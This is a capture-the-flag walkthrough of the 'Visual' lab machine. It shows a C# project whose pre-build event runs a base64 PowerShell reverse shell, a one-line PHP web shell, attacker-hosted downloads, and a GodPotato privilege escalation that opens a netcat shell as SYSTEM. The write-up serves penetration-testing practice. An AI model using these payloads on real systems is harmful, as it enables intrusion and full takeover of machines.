Visual

Box info

Nmap

Let's start by enumerating open ports using Nmap:

szczygielka@hacks$ nmap -sCV -p- 10.129.210.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-26 14:48 EST
Nmap scan report for 10.129.210.129
Host is up (0.038s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.08 seconds

The Nmap output shows that only one port is open, it is port 80 with an Apache HTTP server.

Exploring website

Let's visit the website located at http://10.129.210.129/ using a web browser.

The website appears to allow the compilation of projects in C# and .NET 6.0 platforms. The description on this website suggests that when you upload a link to a Git repository, it compiles the project on the remote machine, and then returns an executable or DDL files.

Let's try to verify whether the functionality of the downloading project works. Let's run the Python HTTP server:

szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Let's provide a link to our fake repository and click Submit button:

After pressing the button, we are redirected to the following page:

The Python HTTP server indicates that the target machine tried unsuccessfully to download the file:

10.129.210.129 - - [26/Feb/2024 16:12:51] code 404, message File not found
10.129.210.129 - - [26/Feb/2024 16:12:51] "GET /info/refs?service=git-upload-pack HTTP/1.1" 404 -

After some time we receive the following error:

Based on the test performed, we already know that this machine is actually trying to download the contents of the Git repository. Cloning the repository seems to work. Now let's test whether the ability to compile projects works. Create an actual Git repository containing a Visual Studio project in C#. Sample .NET 6.0 project we can find in this repository:

We can clone the repository by the following command:

szczygielka@hacks$ git clone https://github.com/hgmauri/sample-dotnet6.git
Cloning into 'sample-dotnet6'...
remote: Enumerating objects: 88, done.
remote: Counting objects: 100% (88/88), done.
remote: Compressing objects: 100% (57/57), done.
remote: Total 88 (delta 30), reused 68 (delta 17), pack-reused 0
Receiving objects: 100% (88/88), 14.27 KiB | 4.76 MiB/s, done.
Resolving deltas: 100% (30/30), done.

Let's go to the .git directory contained in the solution we downloaded:

szczygielka@hacks$ cd sample-dotnet6/.git

Let's run the following command in this directory:

szczygielka@hacks$ git --bare update-server-info

According to the documentation, this command updates auxiliary info files to help dumb servers. The information available on Stack Overflow indicates that as a dumb server, we can understand all servers containing Git repositories with access over HTTP and every Git repository hosted by this dump server needs to have this command. This command should be executed always after committing changes in a Git repository.

Start the Python HTTP server in this directory as well:

szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

In another terminal window we can check whether cloning the repository is working properly:

szczygielka@hacks$ git clone http://10.10.14.73
Cloning into '10.10.14.73'...

Cloning seems to be working fine. We can now upload a link to our repository and try to build the project. After providing the link to the Git repository, we can see that the files have been downloaded from the server:

szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /info/refs?service=git-upload-pack HTTP/1.1" 200 -
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /HEAD HTTP/1.1" 200 -
10.129.210.129 - - [26/Feb/2024 20:17:41] code 404, message File not found
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/05/306218f2ae3b2ff0d792aa291e31026cd56a1e HTTP/1.1" 404 -
10.129.210.129 - - [26/Feb/2024 20:17:41] code 404, message File not found
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/info/http-alternates HTTP/1.1" 404 -
10.129.210.129 - - [26/Feb/2024 20:17:41] code 404, message File not found
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/info/alternates HTTP/1.1" 404 -
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/info/packs HTTP/1.1" 200 -
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/pack/pack-78ee276625fb2c6e317559f4170c4c6c33bd9946.idx HTTP/1.1" 200 -
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/pack/pack-78ee276625fb2c6e317559f4170c4c6c33bd9946.pack HTTP/1.1" 200 -

It turns out that the project build failed:

However, the errors received show that this project is actually being built:

Maybe a successful project build won't be necessary. Let's see if we can somehow use the project compilation process in Visual Studio to remote code execution. From information on Stack Overflow, we find out about possible attack vectors for Visual Studio, one of them is the use of pre-build events. Using this attack vector does not force us to build the project correctly because the malicious code should be executed before the project is compiled. Information found on the Internet indicates that in the case of Visual Studio projects, information about the pre-build event should be included in the project file.

From the Microsoft documentation, we find out that when solutions are created and built-in Visual Studio, Visual Studio uses MSBuild to build each project in your solution. Every Visual Studio project includes an MSBuild project file, which is an XML document that contains all the information and instructions that MSBuild needs to build a project, like the content to include, the platform requirements, versioning information, etc., and also build events. The extension of the MSBuild project file depends on the project type, in the case of a C# project it is .csproj file. In our case project file is the file Sample.DotNet6.Api.csproj. The documentation of building events contains examples of how to add a pre-build event to the project file. We can do this by adding the following lines of code to the Sample.DotNet6.Api.csproj file:

<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
  <Exec Command="commands to execute" />
</Target>

Let's search for payload, which should allow us to get a reverse shell. In this case, we will use payload PowerShell #3 (Base64), which can be generated here. Let's add the payload to the Sample.DotNet6.Api.csproj file:

<Project Sdk="Microsoft.NET.Sdk.Web">

  <PropertyGroup>
    <TargetFramework>net6.0</TargetFramework>
    <LangVersion>preview</LangVersion>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="Microsoft.OpenApi" Version="1.3.0-preview" />
    <PackageReference Include="Swashbuckle.AspNetCore" Version="6.2.1" />
  </ItemGroup>

  <ItemGroup>
    <ProjectReference Include="..\Sample.DotNet6.Api.Core\Sample.DotNet6.Api.Core.csproj" />
  </ItemGroup>

  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
  <Exec Command="powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAxACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" />
</Target>

</Project>

Then, in the solution directory, let's commit the changes made to the file to update the repository:

szczygielka@hacks$ git add .
szczygielka@hacks$ git commit -m "very important changes connected with security"
[main ef0395f] very important changes connected with security
 1 file changed, 4 insertions(+)

After that in the .git catalog we have to update information for the server, by executing this command:

git --bare update-server-info

Once in the .git directory, let's run the HTTP server to host our solution:

szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Let's run the listener on the port that we included in the payload:

szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...

and provide a link to our repository:

After a while, we get a connection in the listener:

szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.229.122] 49753
PS C:\Windows\Temp\c56a71ba2dd10196a99bbeaaf883bd\src\Sample.DotNet6.Api> 

We have obtained a reverse shell as a user enox:

PS C:\Windows\Temp\c56a71ba2dd10196a99bbeaaf883bd\src\Sample.DotNet6.Api> whoami
visual\enox

User flag

The user.txt flag can be found in C:\Users\enox\Desktop.

Privilege escalation

Shell as LocalService

In the C:\ directory we find xampp:

PS C:\> dir
    Directory: C:\
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        11/5/2022  12:03 PM                PerfLogs                                                              
d-r---        6/10/2023  11:00 AM                Program Files                                                         
d-----        6/10/2023  10:51 AM                Program Files (x86)                                                   
d-r---        6/10/2023  10:59 AM                Users                                                                 
d-----        9/19/2023   6:44 AM                Windows                                                               
d-----        6/10/2023  10:32 AM                xampp 

XAMPP is an Apache distribution containing MariaDB, PHP, and Perl. The web root directory is located at C:/xampp/htdocs/. All files placed in this directory should be processed by the web server. Let's go to this directory. Now let's create a simple web shell to find out what permissions this web server is running with:

Set-Content -Path webshell.php -Value "<?php echo shell_exec(`$_GET['cmd'].' 2>&1'); ?>"

Opening the webshell.php file and setting the cmd parameter value to whoami, we find out that the PHP server works as local service:

So we can get a reverse shell as a local service. We will use Ivan Sincek's PHP reverse shell from here. We can prepare the revshell.php file on our attacking machine and run the Python HTTP server. First, prepare the listener on the selected port:

szczygielka@hacks$ nc -lnvp 8080

Then run the Python HTTP server:

szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Download the revshell.php to the target machine:

PS C:\xampp\htdocs> wget http://10.10.14.73:80/revshell.php -OutFile revshell.php

By going to the address we run the script:

http://10.129.210.129/revshell.php

We have a connection:

szczygielka@hacks$ nc -lnvp 8080
listening on [any] 8080 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.212.12] 49697
SOCKET: Shell has connected! PID: 2428
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs>

As we expect, we are local service user:

C:\xampp\htdocs>whoami
nt authority\local service

Let's check what permissions have been assigned to this account:

C:\xampp\htdocs>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

According to the Microsoft documentation, the current permissions assigned to the local service account are not the default permissions for this account. To try to restore the default permissions for this account, we can use the FullPowers tool:

Let's download the FullPowers.exe executable file to our attacking machine from the release page, and then run the Python server:

szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Then, on the attacking machine, run the PowerShell console and download the file:

PS C:\xampp\htdocs> wget http://10.10.14.73:80/FullPowers.exe -OutFile FullPowers.exe

Let's execute the downloaded FullPowers.exe file:

PS C:\xampp\htdocs> .\FullPowers.exe
[+] Started dummy thread with id 3056
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

Enumerate our rights again:

C:\Windows\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

We recovered the default privilege set. One of the privileges we now have is SeImpersonatePrivilege. This privilege can be used to further elevate privileges to obtain access as the system user. To try to increase our rights and get a reverse shell as thesystem user, we use the GodPotato tool:

Let's download the GodPotato-NET4.exe file from the Release section to the attacking machine and then rename it:

szczygielka@hacks$ mv GodPotato-NET4.exe GodPotato.exe

Let's also download Netcat for Windows on the attacking machine. Netcat we will need a target machine to get the reverse shell. Then let's run the listener:

szczygielka@hacks$ nc -lnvp 9000
listening on [any] 9000 ...

Now let's download Netcat to the target machine:

PS C:\xampp\htdocs> wget http://10.10.14.73:80/nc64.exe -OutFile nc64.exe 

and GodPotao:

PS C:\xampp\htdocs> wget http://10.10.14.73:80/GodPotato.exe -OutFile GodPotato.exe 

Let's run GodPotato.exe, with a command that should allow us to get a reverse shell:

PS C:\xampp\htdocs> .\GodPotato.exe -cmd "nc64.exe 10.10.14.73 9000 -e powershell"
[*] CombaseModule: 0x140736268468224
[*] DispatchTable: 0x140736270774384
[*] UseProtseqFunction: 0x140736270150560
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\dccb8b02-aea8-477d-aa76-82ba577fe2b3\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00001002-0b7c-ffff-561c-c85dc0e25dce
[*] DCOM obj OXID: 0x18b6a98ee0d46e6c
[*] DCOM obj OID: 0xb1ecda27ac059889
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 872 Token:0x808  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2896

We get a reverse shell :

szczygielka@hacks$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.212.12] 49766
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

After executing the whoami command, we see that we have received a reverse shell as the user system:

PS C:\xampp\htdocs> whoami
nt authority\system

Root flag

The root flag can be obtained at C:\Users\Administrator\Desktop.

PS C:\Users\Administrator\Desktop> dir
dir


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        2/28/2024  10:30 AM             34 root.txt   

Last updated